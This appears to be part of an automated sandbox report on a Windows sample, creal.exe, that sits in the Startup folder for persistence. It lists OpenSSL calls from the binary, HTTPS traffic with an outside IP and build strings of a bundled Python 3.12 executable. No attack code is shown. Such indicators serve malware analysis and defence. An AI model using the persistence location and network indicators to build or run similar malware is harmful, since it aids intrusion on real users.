Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84A7F00 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_malloc,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,strncmp,CRYPTO_free,CRYPTO_free,OPENSSL_sk_new_null,CRYPTO_free,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_push,OPENSSL_sk_delete,OPENSSL_sk_num,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_free,CRYPTO_free,OPENSSL_sk_free,	28_2_00007FF8F84A7F00
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491B18 ERR_new,ERR_set_debug,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,OPENSSL_cleanse,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_new,ERR_set_debug,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_new,	28_2_00007FF8F8491B18
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84A5FD0 OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,OPENSSL_sk_push,OPENSSL_sk_sort,	28_2_00007FF8F84A5FD0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8492400 CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,	28_2_00007FF8F8492400
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84B5F90 CRYPTO_free,CRYPTO_free,	28_2_00007FF8F84B5F90
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849144C EVP_MD_CTX_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,	28_2_00007FF8F849144C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491D8E CRYPTO_free,CRYPTO_memdup,	28_2_00007FF8F8491D8E
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849107D CRYPTO_free,	28_2_00007FF8F849107D
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84A40F0 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	28_2_00007FF8F84A40F0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8492734 CRYPTO_free,CRYPTO_strdup,	28_2_00007FF8F8492734
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84B6080 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,	28_2_00007FF8F84B6080
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84A60B0 COMP_zlib,OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,COMP_get_name,OPENSSL_sk_push,OPENSSL_sk_sort,	28_2_00007FF8F84A60B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84E80B0 CRYPTO_free,CRYPTO_free,	28_2_00007FF8F84E80B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491113 EVP_PKEY_free,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_new,ERR_new,ERR_set_debug,EVP_DigestVerifyInit_ex,ERR_new,ERR_set_debug,ERR_new,CRYPTO_free,ERR_new,ERR_set_debug,EVP_MD_CTX_free,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_free,	28_2_00007FF8F8491113
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8503160 CRYPTO_free,CRYPTO_strndup,	28_2_00007FF8F8503160
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84920EF CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	28_2_00007FF8F84920EF
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84AF100 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,BUF_MEM_free,EVP_MD_CTX_free,X509_free,X509_VERIFY_PARAM_move_peername,CRYPTO_free,	28_2_00007FF8F84AF100
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84FB100 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	28_2_00007FF8F84FB100
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849214E EVP_CIPHER_get_mode,EVP_CIPHER_get_mode,EVP_CIPHER_get_iv_length,EVP_CIPHER_get_key_length,CRYPTO_malloc,ERR_new,ERR_set_debug,	28_2_00007FF8F849214E
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84BF1F0 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,_time64,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,ERR_new,ERR_set_debug,CRYPTO_free_ex_data,OPENSSL_cleanse,OPENSSL_cleanse,X509_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_clear_free,memcpy,	28_2_00007FF8F84BF1F0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84B9270 CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	28_2_00007FF8F84B9270
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84D3270 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	28_2_00007FF8F84D3270
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8492121 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,	28_2_00007FF8F8492121
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8492478 CRYPTO_memcmp,ERR_new,ERR_set_debug,memchr,ERR_new,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	28_2_00007FF8F8492478
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491F91 CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	28_2_00007FF8F8491F91
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84913A2 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,	28_2_00007FF8F84913A2
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491A0F ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get0_cipher,EVP_CIPHER_get_flags,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_get0_md,EVP_MD_get_size,CRYPTO_memcmp,ERR_set_mark,ERR_clear_last_mark,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_pop_to_mark,ERR_clear_last_mark,ERR_new,ERR_set_debug,EVP_MD_CTX_get0_md,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,strncmp,strncmp,strncmp,strncmp,strncmp,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	28_2_00007FF8F8491A0F
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8494B40 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	28_2_00007FF8F8494B40
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8492383 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	28_2_00007FF8F8492383
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F850AB20 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	28_2_00007FF8F850AB20
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8492432 CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,	28_2_00007FF8F8492432
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491492 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,	28_2_00007FF8F8491492
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84926C6 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,	28_2_00007FF8F84926C6
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8502BC0 CRYPTO_memcmp,	28_2_00007FF8F8502BC0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491212 EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memset,	28_2_00007FF8F8491212
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84AABB0 CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,	28_2_00007FF8F84AABB0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84DEBB0 CRYPTO_free,	28_2_00007FF8F84DEBB0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84F4BB0 BN_num_bits,BN_bn2bin,CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	28_2_00007FF8F84F4BB0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84D8C60 CRYPTO_free,	28_2_00007FF8F84D8C60
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84DEC10 CRYPTO_free,	28_2_00007FF8F84DEC10
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8494C00 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	28_2_00007FF8F8494C00
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84D2C30 SRP_Calc_u_ex,BN_num_bits,CRYPTO_malloc,ERR_new,ERR_set_debug,BN_bn2bin,BN_clear_free,BN_clear_free,	28_2_00007FF8F84D2C30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84917DF ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,	28_2_00007FF8F84917DF
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491CA8 CRYPTO_strdup,CRYPTO_free,	28_2_00007FF8F8491CA8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84BEC90 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	28_2_00007FF8F84BEC90
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491154 CRYPTO_free,ERR_new,ERR_set_debug,	28_2_00007FF8F8491154
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84A4D50 CRYPTO_get_ex_new_index,	28_2_00007FF8F84A4D50
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84F0D60 ERR_new,ERR_set_debug,CRYPTO_clear_free,	28_2_00007FF8F84F0D60
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84D8D10 OPENSSL_cleanse,CRYPTO_free,	28_2_00007FF8F84D8D10
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84914CE CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	28_2_00007FF8F84914CE
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84917E9 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,memcmp,ERR_new,CRYPTO_memdup,ERR_new,ERR_new,ERR_set_debug,	28_2_00007FF8F84917E9
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491771 CRYPTO_free,	28_2_00007FF8F8491771
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84F6D90 CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,	28_2_00007FF8F84F6D90
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84A4DB0 i2d_X509_NAME,i2d_X509_NAME,memcmp,CRYPTO_free,CRYPTO_free,	28_2_00007FF8F84A4DB0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84AEE43 CRYPTO_free,	28_2_00007FF8F84AEE43
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84922E8 CRYPTO_malloc,CONF_parse_list,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,	28_2_00007FF8F84922E8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491A05 ERR_new,ERR_set_debug,ERR_set_error,ASN1_item_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,_time64,X509_free,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ASN1_item_free,	28_2_00007FF8F8491A05
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849258B ERR_new,ERR_set_debug,CRYPTO_free,BIO_clear_flags,BIO_set_flags,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,OPENSSL_cleanse,	28_2_00007FF8F849258B
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F850AED0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,EVP_PKEY_decrypt_init,EVP_PKEY_CTX_set_rsa_padding,OSSL_PARAM_construct_uint,OSSL_PARAM_construct_end,EVP_PKEY_CTX_set_params,EVP_PKEY_decrypt,OPENSSL_cleanse,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_CTX_free,	28_2_00007FF8F850AED0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491370 ERR_new,ERR_set_debug,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,ERR_new,ERR_set_debug,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	28_2_00007FF8F8491370
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491460 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,BIO_snprintf,	28_2_00007FF8F8491460

Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49934 version: TLS 1.2

Source: creal.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: creal.exe, 00000002.00000002.1584456751.00007FF8E7BD3000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: creal.exe, 00000002.00000002.1579097857.00007FF8E712F000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PICOpenSSL 3.0.11 19 Sep 20233.0.11built on: Wed Sep 27 22:33:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC;CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_push_octet_ptrOSSL_PARAM_BLD_to_param..\s\crypto\params.c source: creal.exe, 00000002.00000002.1582537332.00007FF8E7642000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC source: creal.exe, 00000002.00000002.1582537332.00007FF8E7642000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: creal.exe, 00000002.00000002.1588731612.00007FF8F7A06000.00000002.00000001.01000000.00000014.sdmp, creal.exe, 0000001A.00000003.1544118293.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: creal.exe, 00000000.00000003.1371953608.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1590369480.00007FF8F8BC3000.00000002.00000001.01000000.00000005.sdmp, creal.exe, 0000001A.00000003.1541448676.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: creal.exe, 00000000.00000003.1371953608.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1590369480.00007FF8F8BC3000.00000002.00000001.01000000.00000005.sdmp, creal.exe, 0000001A.00000003.1541448676.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: creal.exe, 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: creal.exe, 0000001A.00000003.1543955907.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: creal.exe, 00000000.00000003.1372232763.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 0000001A.00000003.1541833635.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: creal.exe, 00000002.00000002.1589596642.00007FF8F8303000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: creal.exe, 00000002.00000002.1589772887.00007FF8F8751000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: creal.exe, 00000002.00000002.1580095250.00007FF8E7177000.00000002.00000001.01000000.00000016.sdmp, creal.exe, 0000001A.00000003.1543399953.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbEE source: creal.exe, 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: creal.exe, 00000002.00000002.1587898705.00007FF8E802C000.00000002.00000001.01000000.0000000A.sdmp, creal.exe, 0000001A.00000003.1543628592.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: creal.exe, 00000000.00000003.1372380110.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1587254717.00007FF8E7FA8000.00000002.00000001.01000000.00000013.sdmp, creal.exe, 0000001A.00000003.1542028020.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_uuid.pdb source: creal.exe, 00000002.00000002.1574615880.00007FF8E6EF2000.00000002.00000001.01000000.0000002D.sdmp, creal.exe, 0000001A.00000003.1545277030.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: creal.exe, 00000002.00000002.1580428919.00007FF8E71B2000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: creal.exe, 00000002.00000002.1589350978.00007FF8F7EC3000.00000002.00000001.01000000.0000000E.sdmp, creal.exe, 0000001A.00000003.1544286288.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: creal.exe, 00000002.00000002.1587898705.00007FF8E802C000.00000002.00000001.01000000.0000000A.sdmp, creal.exe, 0000001A.00000003.1543628592.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
